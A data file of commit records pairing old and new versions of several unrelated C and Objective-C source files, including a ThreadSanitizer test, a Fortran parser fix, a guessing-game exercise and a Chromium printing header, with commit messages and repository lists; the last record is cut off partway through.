{"commit":"2d4b83275dd0ce04a117a78e1eaca45d189c24f9","old_file":"test\/tsan\/libdispatch\/dispatch_once_deadlock.c","new_file":"test\/tsan\/libdispatch\/dispatch_once_deadlock.c","old_contents":"\/\/ Check that calling dispatch_once from a report callback works.\n\n\/\/ RUN: %clang_tsan %s -o %t\n\/\/ RUN: not %run %t 2>&1 | FileCheck %s\n\n#include <dispatch\/dispatch.h>\n\n#include <pthread.h>\n#include <stdio.h>\n\nlong g = 0;\nlong h = 0;\nvoid f() {\n  static dispatch_once_t onceToken;\n  dispatch_once(&onceToken, ^{\n    g++;\n  });\n  h++;\n}\n\nvoid __tsan_on_report() {\n  fprintf(stderr, \"Report.\\n\");\n  f();\n}\n\nint main() {\n  fprintf(stderr, \"Hello world.\\n\");\n\n  f();\n\n  pthread_mutex_t mutex = {0};\n  pthread_mutex_lock(&mutex);\n\n  fprintf(stderr, \"g = %ld.\\n\", g);\n  fprintf(stderr, \"h = %ld.\\n\", h);\n  fprintf(stderr, \"Done.\\n\");\n}\n\n\/\/ CHECK: Hello world.\n\/\/ CHECK: Report.\n\/\/ CHECK: g = 1\n\/\/ CHECK: h = 2\n\/\/ CHECK: Done.\n","new_contents":"\/\/ Check that calling dispatch_once from a report callback works.\n\n\/\/ RUN: %clang_tsan %s -o %t\n\/\/ RUN: not %run %t 2>&1 | FileCheck %s\n\n#include <dispatch\/dispatch.h>\n\n#include <pthread.h>\n#include <stdio.h>\n\nlong g = 0;\nlong h = 0;\nvoid f() {\n  static dispatch_once_t onceToken;\n  dispatch_once(&onceToken, ^{\n    g++;\n  });\n  h++;\n}\n\nvoid __tsan_on_report() {\n  fprintf(stderr, \"Report.\\n\");\n  f();\n}\n\nint main() {\n  fprintf(stderr, \"Hello world.\\n\");\n\n  f();\n\n  pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n  pthread_mutex_unlock(&mutex); \/\/ Unlock of an unlocked mutex\n\n  fprintf(stderr, \"g = %ld.\\n\", g);\n  fprintf(stderr, \"h = %ld.\\n\", h);\n  fprintf(stderr, \"Done.\\n\");\n}\n\n\/\/ CHECK: Hello world.\n\/\/ CHECK: Report.\n\/\/ CHECK: g = 1\n\/\/ CHECK: h = 2\n\/\/ CHECK: Done.\n","subject":"Make test work on Linux, pt. 2","message":"[TSan][libdispatch] Make test work on Linux, pt. 2\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@357741 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"ed8496dd8db282150831412ba02fe27476877d1f","old_file":"You-QueryEngine\/internal\/action\/filter_task.h","new_file":"You-QueryEngine\/internal\/action\/filter_task.h","old_contents":"\/\/\/ \\file update_task.h\n\/\/\/ Defines action for updating tasks.\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n#define YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n\n#include <functional>\n#include \"..\/..\/filter.h\"\n#include \"..\/..\/api.h\"\n\nnamespace You {\nnamespace QueryEngine {\nnamespace Internal {\nnamespace Action {\n\n\/\/\/ Define action for updating task\nclass FilterTask : public Query {\npublic:\n\t\/\/\/ Constructor\n\texplicit FilterTask(const Filter& filter) : filter(filter) {}\n\n\t\/\/\/ Destructor\n\tvirtual ~FilterTask() = default;\nprivate:\n\t\/\/\/ Execute add task.\n\tResponse execute(State& tasks) override;\n\tFilterTask& operator=(const FilterTask&) = delete;\n\tconst Filter& filter;\n};\n\n}  \/\/ namespace Action\n}  \/\/ namespace Internal\n}  \/\/ namespace QueryEngine\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n","new_contents":"\/\/\/ \\file update_task.h\n\/\/\/ Defines action for updating tasks.\n\/\/\/ \\author A0112054Y\n\n#pragma once\n#ifndef YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n#define YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n\n#include <functional>\n#include \"..\/..\/filter.h\"\n#include \"..\/..\/api.h\"\n\nnamespace You {\nnamespace QueryEngine {\nnamespace Internal {\nnamespace Action {\n\n\/\/\/ Define action for updating task\nclass FilterTask : public Query {\npublic:\n\t\/\/\/ Constructor\n\texplicit FilterTask(const Filter& filter) : filter(filter) {}\n\n\t\/\/\/ Destructor\n\tvirtual ~FilterTask() = default;\nprivate:\n\t\/\/\/ Execute add task.\n\tResponse execute(State& tasks) override;\n\tFilterTask& operator=(const FilterTask&) = delete;\n\tFilter filter;\n};\n\n}  \/\/ namespace Action\n}  \/\/ namespace Internal\n}  \/\/ namespace QueryEngine\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_QUERYENGINE_INTERNAL_ACTION_FILTER_TASK_H_\n","subject":"Store filter by value in FilterTask","message":"Store filter by value in FilterTask\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"c2830d3c934ed6643ff4a07e92bce6367651d9ee","old_file":"src\/condor_util_lib\/sig_install.c","new_file":"src\/condor_util_lib\/sig_install.c","old_contents":"","new_contents":"\/* \n** Copyright 1994 by Miron Livny, and Mike Litzkow\n** \n** Permission to use, copy, modify, and distribute this software and its\n** documentation for any purpose and without fee is hereby granted,\n** provided that the above copyright notice appear in all copies and that\n** both that copyright notice and this permission notice appear in\n** supporting documentation, and that the names of the University of\n** Wisconsin and the copyright holders not be used in advertising or\n** publicity pertaining to distribution of the software without specific,\n** written prior permission.  The University of Wisconsin and the \n** copyright holders make no representations about the suitability of this\n** software for any purpose.  It is provided \"as is\" without express\n** or implied warranty.\n** \n** THE UNIVERSITY OF WISCONSIN AND THE COPYRIGHT HOLDERS DISCLAIM ALL\n** WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES\n** OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE UNIVERSITY OF\n** WISCONSIN OR THE COPYRIGHT HOLDERS BE LIABLE FOR ANY SPECIAL, INDIRECT\n** OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n** OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE\n** OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE\n** OR PERFORMANCE OF THIS SOFTWARE.\n** \n** Author:  Mike Litzkow\n**\n*\/ \n\n#define _POSIX_SOURCE\n#include <signal.h>\n#include \"condor_debug.h\"\n\nstatic char *_FileName_ = __FILE__;\n\n\ntypedef void (*SIG_HANDLER)();\n\nvoid\ninstall_sig_handler( int sig, SIG_HANDLER handler )\n{\n\tstruct sigaction act;\n\n\tact.sa_handler = handler;\n\tsigemptyset( &act.sa_mask );\n\tact.sa_flags = 0;\n\n\tif( sigaction(sig,&act,0) < 0 ) {\n\t\tEXCEPT( \"sigaction\" );\n\t}\n}\n","subject":"Install a sig handler using sigaction(), ensure that handler stays installed across invocations.","message":"Install a sig handler using sigaction(), ensure that handler stays\ninstalled across invocations.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor"}
{"commit":"55cfa656096e17cb624643b292d479752eff9b84","old_file":"myrrh\/python\/registry.h","new_file":"myrrh\/python\/registry.h","old_contents":"\/**\n@file\n\nCopyright John Reid 2013\n\n*\/\n\n#ifndef MYRRH_PYTHON_REGISTRY_H_\n#define MYRRH_PYTHON_REGISTRY_H_\n\n#ifdef _MSC_VER\n# pragma once\n#endif \/\/_MSC_VER\n\nnamespace myrrh {\nnamespace python {\n\n\/**\n * Queries if the the type specified is in the registry.\n *\/\ntemplate< typename QueryT >\nbool\nin_registry() {\n\tnamespace bp = boost::python;\n\tbp::type_info info = boost::python::type_id< QueryT >();\n\tbp::converter::registration * registration = boost::python::converter::registry::query( info );\n\treturn registration != 0;\n}\n\n} \/\/namespace myrrh\n} \/\/namespace python\n\n#endif \/\/MYRRH_PYTHON_REGISTRY_H_\n","new_contents":"\/**\n@file\n\nCopyright John Reid 2013\n\n*\/\n\n#ifndef MYRRH_PYTHON_REGISTRY_H_\n#define MYRRH_PYTHON_REGISTRY_H_\n\n#ifdef _MSC_VER\n# pragma once\n#endif \/\/_MSC_VER\n\nnamespace myrrh {\nnamespace python {\n\n\/**\n * Queries if the the type specified is in the registry. This can be used to avoid registering\n * the same type more than once.\n *\/\ntemplate< typename QueryT >\nconst boost::python::converter::registration *\nget_registration() {\n\tnamespace bp = boost::python;\n\tconst bp::type_info info = boost::python::type_id< QueryT >();\n\tconst bp::converter::registration * registration = boost::python::converter::registry::query( info );\n\t\/\/ need to check for m_to_python converter: see http:\/\/stackoverflow.com\/a\/13017303\/959926\n\tif( registration != 0 && registration->m_to_python != 0 ) {\n\t\treturn registration;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\n} \/\/namespace myrrh\n} \/\/namespace python\n\n#endif \/\/MYRRH_PYTHON_REGISTRY_H_\n","subject":"Fix for inner class registration check","message":"Fix for inner class registration check\n","lang":"C","license":"mit","repos":"JohnReid\/myrrh,JohnReid\/myrrh"}
{"commit":"2b1a93b1c435fa60ffe3011bfdd70f104bc34e93","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  printf(\"Qual é o seu chute? \");\n  scanf(\"%d\", &chute);\n  printf(\"Seu chute foi %d\\n\", chute);\n\n  int acertou = chute == numerosecreto;\n\n  if(acertou) {\n    printf(\"Parabéns! Você acertou!\\n\");\n    printf(\"Jogue de novo, você é um bom jogador!\\n\");\n  } else {\n\n    int maior = chute > numerosecreto;\n\n    if(maior) {\n      printf(\"Seu chute foi maior que o número secreto\\n\");\n    } else {\n      printf(\"Seu chute foi menor que o número secreto\\n\");\n    }\n\n    printf(\"Você errou!\\n\");\n    printf(\"Mas não desanime, tente de novo!\\n\");\n  }\n\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  int chute;\n\n  for(int i = 1; i <= 3; i++) {\n\n    printf(\"Tentativa %d de 3\\n\", i);\n    printf(\"Qual é o seu chute? \");\n\n    scanf(\"%d\", &chute);\n    printf(\"Seu chute foi %d\\n\", chute);\n\n    int acertou = chute == numerosecreto;\n\n    if(acertou) {\n      printf(\"Parabéns! Você acertou!\\n\");\n      printf(\"Jogue de novo, você é um bom jogador!\\n\");\n    } else {\n\n      int maior = chute > numerosecreto;\n\n      if(maior) {\n        printf(\"Seu chute foi maior que o número secreto\\n\");\n      } else {\n        printf(\"Seu chute foi menor que o número secreto\\n\");\n      }\n\n      printf(\"Você errou!\\n\");\n      printf(\"Mas não desanime, tente de novo!\\n\");\n    }\n\n  }\n\n  printf(\"Fim de jogo!\\n\");\n\n}\n","subject":"Update files, Alura, Introdução a C, Aula 2.5","message":"Update files, Alura, Introdução a C, Aula 2.5\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"b6be5329bed253db517553152ee1f76e5ee68074","old_file":"src\/parse\/stmt\/equivalence.c","new_file":"src\/parse\/stmt\/equivalence.c","old_contents":"#include \"..\/parse.h\"\n\n\nunsigned parse_stmt_equivalence(\n\tconst sparse_t* src, const char* ptr,\n\tparse_stmt_t* stmt)\n{\n\tunsigned i = parse_keyword(\n\t\tsrc, ptr, PARSE_KEYWORD_EQUIVALENCE);\n\tif (i == 0) return 0;\n\n\tstmt->type = PARSE_STMT_EQUIVALENCE;\n\tstmt->equivalence.count = 0;\n\tstmt->equivalence.group = NULL;\n\n\tunsigned len = parse_list(src, ptr,\n\t\t&stmt->equivalence.count,\n\t\t(void***)&stmt->equivalence.group,\n\t\t(void*)parse_lhs_list_bracketed,\n\t\t(void*)parse_lhs_list_delete);\n\tif (len == 0) return 0;\n\ti += len;\n\n\treturn i;\n}\n","new_contents":"#include \"..\/parse.h\"\n\n\nunsigned parse_stmt_equivalence(\n\tconst sparse_t* src, const char* ptr,\n\tparse_stmt_t* stmt)\n{\n\tunsigned i = parse_keyword(\n\t\tsrc, ptr, PARSE_KEYWORD_EQUIVALENCE);\n\tif (i == 0) return 0;\n\n\tstmt->type = PARSE_STMT_EQUIVALENCE;\n\tstmt->equivalence.count = 0;\n\tstmt->equivalence.group = NULL;\n\n\tunsigned len = parse_list(src, &ptr[i],\n\t\t&stmt->equivalence.count,\n\t\t(void***)&stmt->equivalence.group,\n\t\t(void*)parse_lhs_list_bracketed,\n\t\t(void*)parse_lhs_list_delete);\n\tif (len == 0) return 0;\n\ti += len;\n\n\treturn i;\n}\n","subject":"Fix bug in EQUIVALENCE parsing","message":"Fix bug in EQUIVALENCE parsing\n","lang":"C","license":"apache-2.0","repos":"CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc"}
{"commit":"eae3d77193813825d7c4cb8dcb86d341c0b5b756","old_file":"src\/wrappers\/themis\/Obj-C\/objcthemis\/smessage.h","new_file":"src\/wrappers\/themis\/Obj-C\/objcthemis\/smessage.h","old_contents":"\/*\n* Copyright (C) 2015 CossackLabs\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#import <Foundation\/Foundation.h>\n#import <themis\/themis.h>\n\n@interface SKeygen : NSObject\n\n{\n  NSData* _priv_key;\n  NSData* _pub_key;\n}\n\n- (id)init;\n- (NSData*)priv_key: error:(NSError**)errorPtr;\n- (NSData*)pub_key: error:(NSError**)errorPtr;\n\n@end\n","new_contents":"\/*\n* Copyright (C) 2015 CossackLabs\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#import <Foundation\/Foundation.h>\n#import <themis\/themis.h>\n\n@interface SMessage : NSObject\n\n{\n  NSMutableData* _priv_key;\n  NSMutableData* _pub_key;\n}\n\n- (id)initWithPrivateKey: (NSData*)private_key peerPublicKey:(NSData*)peer_pub_key;\n- (NSData*)wrap: (NSData*)message error:(NSError**)errorPtr;\n- (NSData*)unwrap: (NSData*)message error:(NSError**)errorPtr;\n\n@end\n","subject":"Add some correction to Obj-C wrappers","message":"Add some correction to Obj-C wrappers\n","lang":"C","license":"apache-2.0","repos":"mnaza\/themis,storojs72\/themis,cossacklabs\/themis,Lagovas\/themis,storojs72\/themis,mnaza\/themis,storojs72\/themis,cossacklabs\/themis,Lagovas\/themis,storojs72\/themis,mnaza\/themis,cossacklabs\/themis,mnaza\/themis,cossacklabs\/themis,Lagovas\/themis,Lagovas\/themis,cossacklabs\/themis,cossacklabs\/themis,storojs72\/themis,storojs72\/themis,storojs72\/themis,cossacklabs\/themis,mnaza\/themis,cossacklabs\/themis,cossacklabs\/themis,cossacklabs\/themis,mnaza\/themis,cossacklabs\/themis,storojs72\/themis,cossacklabs\/themis,mnaza\/themis,Lagovas\/themis,Lagovas\/themis,Lagovas\/themis,mnaza\/themis,Lagovas\/themis,storojs72\/themis,Lagovas\/themis,mnaza\/themis,cossacklabs\/themis,storojs72\/themis"}
{"commit":"a5ff559cf1182c4e86293784a64a52574eada1b4","old_file":"printing\/metafile_impl.h","new_file":"printing\/metafile_impl.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PRINTING_METAFILE_IMPL_H_\n#define PRINTING_METAFILE_IMPL_H_\n\n#if defined(OS_WIN)\n#include \"printing\/emf_win.h\"\n#elif defined(OS_MACOSX)\n#include \"printing\/pdf_metafile_cg_mac.h\"\n#elif defined(OS_POSIX)\n#include \"printing\/pdf_metafile_cairo_linux.h\"\n#endif\n\n#if !defined(OS_MACOSX) || defined(USE_SKIA)\n#include \"printing\/pdf_metafile_skia.h\"\n#endif\n\nnamespace printing {\n\n#if defined(OS_WIN)\ntypedef Emf NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#elif defined(OS_MACOSX)\n#if defined(USE_SKIA)\ntypedef PdfMetafileSkia NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#else\ntypedef PdfMetafileCg NativeMetafile;\ntypedef PdfMetafileCg PreviewMetafile;\n#endif\n#elif defined(OS_POSIX)\ntypedef PdfMetafileCairo NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#endif\n\n}  \/\/ namespace printing\n\n#endif  \/\/ PRINTING_METAFILE_IMPL_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef PRINTING_METAFILE_IMPL_H_\n#define PRINTING_METAFILE_IMPL_H_\n\n#if defined(OS_WIN)\n#include \"printing\/emf_win.h\"\n#elif defined(OS_MACOSX)\n#include \"printing\/pdf_metafile_cg_mac.h\"\n#elif defined(OS_POSIX)\n#include \"printing\/pdf_metafile_cairo_linux.h\"\n#endif\n\n#if !defined(OS_MACOSX) || defined(USE_SKIA)\n#include \"printing\/pdf_metafile_skia.h\"\n#endif\n\nnamespace printing {\n\n#if defined(OS_WIN)\ntypedef Emf NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#elif defined(OS_MACOSX)\n#if defined(USE_SKIA)\ntypedef PdfMetafileSkia NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#else\ntypedef PdfMetafileCg NativeMetafile;\ntypedef PdfMetafileCg PreviewMetafile;\n#endif\n#elif defined(OS_POSIX)\ntypedef PdfMetafileSkia NativeMetafile;\ntypedef PdfMetafileSkia PreviewMetafile;\n#endif\n\n}  \/\/ namespace printing\n\n#endif  \/\/ PRINTING_METAFILE_IMPL_H_\n","subject":"Switch the native print path on Linux and ChromeOS to use Skia instead of Cairo","message":"Switch the native print path on Linux and ChromeOS to use Skia instead of Cairo\n\n\nBUG=\nTEST=Pages printed via cloud print to raster based printers should successfully print images.\n\n\nReview URL: http:\/\/codereview.chromium.org\/7817007\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@99318 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,M4sse\/chromium.src,robclark\/chromium,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,littlstar\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,Just-D\/chromium-1,keishi\/chromium,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,robclark\/chromium,ltilve\/chromium,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,keishi\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,keishi\/chromium,ltilve\/chromium,chuan9\/chromium-crosswalk,rogerwang\/chromium,rogerwang\/chromium,ltilve\/chromium,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,markYoungH\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,Jonekee\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,rogerwang\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,rogerwang\/chromium,Jonekee\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,rogerwang\/chromium,robclark\/chromium,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,Just-D\/chromium-1,markYoungH\/chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,hujiajie\/pa-chromium,Jonekee\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,robclark\/chromium,littlstar\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,robclark\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,keishi\/chromium,robclark\/chromium,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,keishi\/chromium,markYoungH\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,d